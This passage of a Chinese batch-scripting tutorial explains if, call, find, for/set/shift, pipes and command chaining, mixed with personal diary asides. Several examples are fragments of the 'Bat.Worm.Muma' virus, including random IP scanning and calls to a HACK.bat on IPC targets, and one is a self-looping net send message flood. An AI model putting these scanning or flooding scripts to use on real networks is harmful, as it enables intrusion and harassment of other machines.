烦！就好象一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉害，早在几千年前孔老夫子就说过"唯女子与小人，难养也"，真**有先见之明，佩服！<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 曾经有一篇经典的批处理教程出现在你的屏幕上，你没有保存，直到找不到它的链接你才后悔莫及，人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会，你会对那篇教程说三个字：我爱你！如果非要给这份爱加上一个期限，你希望是100年。因为100年后，你恐怕早已经挂了！而现在，你的屏幕上出现了这篇你正在看的批处理教程，虽然不如你曾经看的那篇经典，但如果勉强还过的去。你会爱它吗？时间会有50年那么长吗？答案是：试试看吧。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 批处理脚本中最重要的几个命令，将在这一章详细介绍，但是很遗憾，有些细节到现在我都没掌握的很好，甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力，即使一直都没有收获。所以可能讲的会比较笼统，但我会告诉你方法，剩下的就是时间问题了，需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒，滴水穿石非一日之功。有些事情，比如学批处理，比如爱一个人，都是不能速成的，甚至还会有付出艰辛而收获为甚微的情况。再次重申，看这篇教程的时候，一定要静下心来，除非你已经掌握了这篇教程的所有东西----但那也就不必看了，浪费时间！</p><p style="font-size: 14px; line-height: 22px; ">7、if<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 接上一章，接着讲if命令。总的来说，if命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。</p><p style="font-size: 14px; line-height: 22px; ">(1)、输入判断。还是用例五里面的那几句吧：<br>if "%1"=="" goto usage<br>if "%1"=="/?" goto usage<br>if "%1"=="help" goto usage<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这里判断输入的参数情况，如果参数为空（无参数），则跳转到usage；如果参数为/?或help时（大家一般看一个命令的帮助，是不是输入的/?或help呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到usage。这里还可以用否定形式来表示"不等于"，例如：if not "%1"=="" goto usage，则表示如果输入参数不为空就跳转到usage（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中文体会一下就understand了。</p><p style="font-size: 14px; line-height: 22px; ">(2)、存在判断。再看例二里这句：<br>if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果存在那些gif文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句"如果不存在那些gif文件则退出脚本"：if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。</p><p style="font-size: 14px; line-height: 22px; ">(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）：<br>masm %1.asm<br>if errorlevel 1 pause &amp; edit %1.asm<br>link %1.obj<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方，&amp;命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS程序在运行完后都有返回码），如果和定义的错误码符合（这里定义的错误码为1），则执行相应的操作（这里相应的操作为pause &amp; edit %1.asm部分）。<br>另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为：<br>masm %1.asm<br>if not errorlevel 1 link %1.obj<br>pause &amp; edit %1.asm<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，"if not errorlevel 1"和"if errorlevel 0"的效果是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成功）。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。<br>这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示"否则"的操作，是比较麻烦的。以上代码必须变成：<br>masm %1.asm<br>if exist %1.obj link %1.obj<br>else pause &amp; edit %1.asm<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个"if /?"就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。<br>IF [NOT] ERRORLEVEL number do command<br>IF [NOT] string1==string2 do command<br>IF [NOT] EXIST filename do command</p><p style="font-size: 14px; line-height: 22px; ">8、call<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八（默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat）：<br>start.bat：<br>......<br>CALL 10.BAT 0<br>......<br>10.bat：<br>......<br>ECHO %IPA%.%1 &gt;HFIND.TMP<br>......<br>CALL ipc.bat IPCFind.txt<br>ipc.bat：<br>for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：<br>1、脚本调用可以灵活运用，循环运用、重复运用。<br>2、脚本调用可以使用参数！<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在start.bat中，10.bat后面跟了参数0，在执行时的效果，其实就是把10.bat里的参数%1用0代替。在start.bat中，ipc.bat后面跟了参数ipcfind.txt（一个文件，也可以做参数），执行时的效果，就是用ipc.bat中的每一行的三个变量（这里不懂没关系，学过for命令后就懂了），对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是Bat.Worm.Muma病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。<br>那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看例九（默认脚本文件名a.bat）：<br>net send %1 This is a call example.<br>call a.bat<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同时向一个目标机器发消息的话，呵呵。这里call a.bat的作用就是调用自身，执行完前一句net send命令后再调用自身，达到了循环执行的目的。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为a.bat）：<br>call a.bat<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一定要在DOS窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了1260次，别忘了想一下到底是为什么！爱情有时候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了love is aborted的提示。</p><p style="font-size: 14px; line-height: 22px; ">9、find<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明：<br>@echo off<br>netstat -a -n &gt; a.txt<br>type a.txt | find "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!"<br>del a.txt<br>pause &amp; exit<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容，再在列出的内容中搜索字符串"7626" ，发现有的话则提示中了冰河，否则退出。看，find命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出a.txt中的内容，而是直接使用find命令在a.txt中找"7626"（find a.txt "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!"），就必须得给出这个a.txt的绝对路径（我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的"另一个命令"自然就指的type命令了。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。</p><p style="font-size: 14px; line-height: 22px; ">10、for、set、shift<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究Bat.Worm.Muma病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令（特别是for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一：<br>@echo off<br>for /? &gt; for.txt<br>set /? &gt; set.txt<br>shift /? &gt;shift.txt<br>exit<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件，里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的for、set和shift教程（关于shift命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里 ，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十二：<br>START.BAT：<br>CALL MUMA.BAT<br>SET IPA=192.168<br>CALL 10.BAT 0<br>:NEARAGAIN<br>netstat -n|find ":" &gt;A.TMP<br>FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&amp;&amp; SET NUM2=%%J&amp;&amp; SET NUM3=%%<br>K&amp;&amp; SET NUM4=%%L&amp;&amp; SET NUM5=%%M&amp;&amp; CALL NEAR.BAT<br>:START<br>CALL RANDOM.BAT<br>IF "%NUM1%"=="255" GOTO NEARAGAIN<br>IF "%NUM1%"=="192" GOTO NEARAGAIN<br>IF "%NUM1%"=="127" GOTO NEARAGAIN<br>IF "%NUM2%"=="255" GOTO NEARAGAIN<br>IF "%NUM3%"=="255" GOTO NEARAGAIN<br>IF "%NUM4%"=="255" GOTO NEARAGAIN<br>SET IPA=%NUM1%.%NUM2%<br>ECHO START &gt; A.LOG<br>PING %IPA%.%NUM3%.1&gt;B.TMP<br>PING %IPA%.%NUM3%.%NUM4%&gt;&gt;B.TMP<br>FIND /C /I "from" B.TMP<br>IF ERRORLEVEL 1 GOTO START<br>CALL 10.BAT %NUM3%<br>DEL A.LOG<br>GOTO START<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这是Bat.Worm.Muma病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去----爱需要理由吗？不需要吗？需要吗？不需要吗......等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不得不再次重申一遍，各种DOS命令是批处理的BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》，每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东，可这并不妨碍我喜欢音乐，喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女，绝望的徘徊在曾经辉煌的红灯区，用一脸的木然瞟一眼来来去去的人群，默默的回忆自己并不光彩的过去，幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们，才突然间发现上帝的公平，和这种公平的残忍。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可以说，批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂----但我正在学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点time out了，很多东西已经基本没有利用的价值（这就是信息时代的更新速度），但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 但是很可惜，等到下午再去的时候，图书馆楼梯口已经立了一个牌子，上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章，正在这时又得到一个"振奋人心"的消息：期末考试有一科挂了，而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头，整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门，学校里的人越来越少，迎面过来的几个同学也都一身行李，忙碌着准备回家过年，内心的孤寂和失落如同夏日里暴雨前的乌云，迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆，还能怎么样，连期末考试都应付不了的失败男人。</p><p style="font-size: 14px; line-height: 22px; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "课间休息"时间好象长了点，呵呵，上课了！从这一章开始，将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的，如同爱一个人时不一定非得每天去陪，但如果少了这个过程，事情就会变的复杂而不完美，所以我认为管道命令和组合命令是批处理的调味剂，几乎是少不了的。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下面从管道命令讲起。常用的管道命令有以下这些：|、&gt;、&gt;&gt;</p><p style="font-size: 14px; line-height: 22px; ">11、|<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个命令恐怕大家不是很陌生，经常操作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三：<br>help | more<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 全部显示完为止；按其他键自动停止返回DOS。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。</p><p style="font-size: 14px; line-height: 22px; ">11.1、help命令。其实这个命令是不需要多说的，但在上述例子中help命令的用法比较特殊，直接在DOS提示符下输入help命令，结果是让DOS显示其所支持的所有非隐含命令，而在其他地方用help命令，如输入net help回车，则是显示net命令的帮助信息。</p><p style="font-size: 14px; line-height: 22px; ">11.2、more命令。可能很多朋友以前就没有接触过这个命令，这个命令在Linux下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章（a.txt）在DOS提示符下输入如下两个命令去比较一下差别：more a.txt和type a.txt。利用more命令，可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三里，more命令的作用就是让输出的信息逐屏或逐行显示。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是help命令执行后显示的DOS所支持的所有非隐含命令，而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的：<br>help &gt; a.txt<br>more a.txt<br>del a.txt<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这里利用另一管道命令&gt;生成了一个a.txt文件作为中间环节，在用more命令查看a.txt文件后再删除a.txt文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一命令的输入。</p><p style="font-size: 14px; line-height: 22px; ">12、&gt;、&gt;&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，&gt;会清除掉原有文件中的内容后把新的内容写入原文件，而&gt;&gt;只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五：<br>echo @echo off &gt; a.bat<br>echo echo This is a pipeline command example. &gt;&gt; a.bat<br>echo echo It is very easy? &gt;&gt; a.bat<br>echo echo Believe your self! &gt;&gt; a.bat<br>echo pause &gt;&gt; a.bat<br>echo exit &gt;&gt; a.bat<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 依次在DOS提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个a.bat文件，里面的内容如下：<br>@echo off<br>echo This is a pipeline command example.<br>echo It is very easy?<br>echo Believe your self!<br>pause<br>exit<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看到这里，你得到了多少信息？<br>1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；<br>2、管道命令&gt;和&gt;&gt;的区别如上所述。如果这里只用&gt;命令来完成上面操作，最后也会生成一个a.bat，但里面的内容就只剩下最后一行exit了。所以&gt;和&gt;&gt;一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用&gt;了。结合例一再仔细体会输出重定向管道命令&gt;和&gt;&gt;的用法。</p><p style="font-size: 14px; line-height: 22px; ">13、&lt;、&gt;&amp;、&lt;&amp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就ok了，当然如果想仔细研究的话，可以自己查一下资料。<br>&lt;，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。<br>&gt;&amp;，将一个句柄的输出写入到另一个句柄的输入中。<br>&lt;&amp;，刚好和&gt;&amp;相反，从一个句柄读取输入并将其写入到另一个句柄输出中。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下面介绍组合命令：&amp;、&amp;&amp;、||<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是说，说十句也是说，不一次把好话都说了出来，效果可能会好些----当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本里也一样，有些时候某些命令是不能同时执行的，后面给你说。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 刚刚又送走了一个同学，人去楼空的感觉越来越明显，望着空荡荡的床铺，平日里喧闹的宿舍就只剩下我一个人了，整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败！我感到快要呼吸不过来，这种失败的压力简直令我窒息，简直让我的手接收不到大脑的信号，简直让这篇未完成的教程夭折。但我能怪谁？<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 忙碌了一学期要过年了却挂了科，失败；挂了科也倒罢了，竟然一个人拖全班的后退，失败中的失败；更失败的，是在这最失落的时候，竟然找不到一个人可以倾诉；然而最失败的，是突然发现自己竟然如此脆弱，如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题：为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春，风一样的年龄，火一样不安的心。不再爱了，我不要再一个人的时候苦苦等待；不再爱了，我不要在你给的囚笼里怜悯的爱；不再爱了，我不要在别人的视线里如此可笑；不再爱，我不再爱。就算塌下来，我也要一个人扛着，头不能低腰不能弯，不能喘息不能倾诉，因为虽然失败，但还是男人，是男人就不能向困难低头！</p><p style="font-size: 14px; line-height: 22px; ">14、&amp;<br>&nbsp;&nbsp;&nbsp;&nbsp; 这可以说是最简单的一个组合命令了，它的作用是用来连接n个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六：<br>copy a.txt b.txt /y &amp; del a.txt<br>&nbsp;&nbsp;&nbsp;&nbsp; 其实这句和move a.txt b.txt的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里&amp;两边的命令是有执行顺序的，从前往后执行。</p><p style="font-size: 14px; line-height: 22px; ">15、&amp;&amp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命令来用，与&amp;命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七：<br>dir 文件://1%/www/user.mdb &amp;&amp; copy 文件://1%/www/user.mdb e:\backup\www<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果远程主机存在user.mdb，则copy到本地e:\backup\www，如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢？呵呵。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实它和下面这句的作用是一样的：<br>if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 至于你喜欢用哪个就随便了，我没办法判断dir和if两个命令哪一个执行效率更高，所以不知道用哪个更好，呵呵。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 你是否还记得"有些命令是不能同时执行的"？你是否相信这句话？当然得相信，不信就给你出道题：把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题？有朋友说，这还不是很easy的问题吗？同时执行两个dir，然后把得到的结果&gt;到a.txt里就ok了嘛，看例十八：<br>dir c:\ &amp;&amp; dir d:\ &gt; a.txt<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后a.txt里只有D盘的信息！为什么？就因为这里&amp;&amp;命令和&gt;命令不能同时出现一个句子里（批处理把一行看成一个句子）！！组合命令&amp;&amp;的优先级没有管道命令&gt;的优先级高（自己总结的，不妥的地方请指正）！所以这句在执行时将本分成这两部分：dir c:\和dir d:\ &gt; a.txt，而并不是如你想的这两部分：dir c:\ &amp;&amp; dir d:\和&gt; a.txt。要使用组合命令&amp;&amp;达到题目的要求，必须得这么写：<br>dir c:\ &gt; a.txt &amp;&amp; dir d:\ &gt;&gt; a.txt<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这样，依据优先级高低，DOS将把这句话分成以下两部分：dir c:\ &gt; a.txt和dir d:\ &gt;&gt; a.txt。例十八中的几句的差别比较特殊，值得好好研究体会一下。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当然这里还可以利用&amp;命令（自己想一下道理哦）：<br>dir c:\ &gt; a.txt &amp; dir d:\ &gt;&gt; a.txt</p><p style="font-size: 14px; line-height: 22px; ">16、||<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个命令的用法和&amp;&amp;几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下是否有以s开头的exe文件，如果有则退出。例十九：<br>@echo off<br>dir s*.exe || exit<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实这个例子是有破绽的，你看出来了吗？其实很简单，自己试试就知道了嘛：如果存在那个exe文件，就退出；如果不存在那个exe文件，也退出！为什么？因为如果不存在那个.exe文件，则前一条命令dir s*.exe执行肯定是不成功的，所以就继续执行exit，自然就退出了，呵呵。那么如何解决题目给出的问题呢？看例二十：<br>@echo off<br>dir s*.exe || echo Didn't exist file s*.exe &amp; pause &amp; exit<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这样执行的结果，就能达到题目的要求，是否存在s*.exe将出现两种结果。这里加暂停的意思，当然是让你能看到echo输出的内容，否则一闪而过的窗口，echo就白写了。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 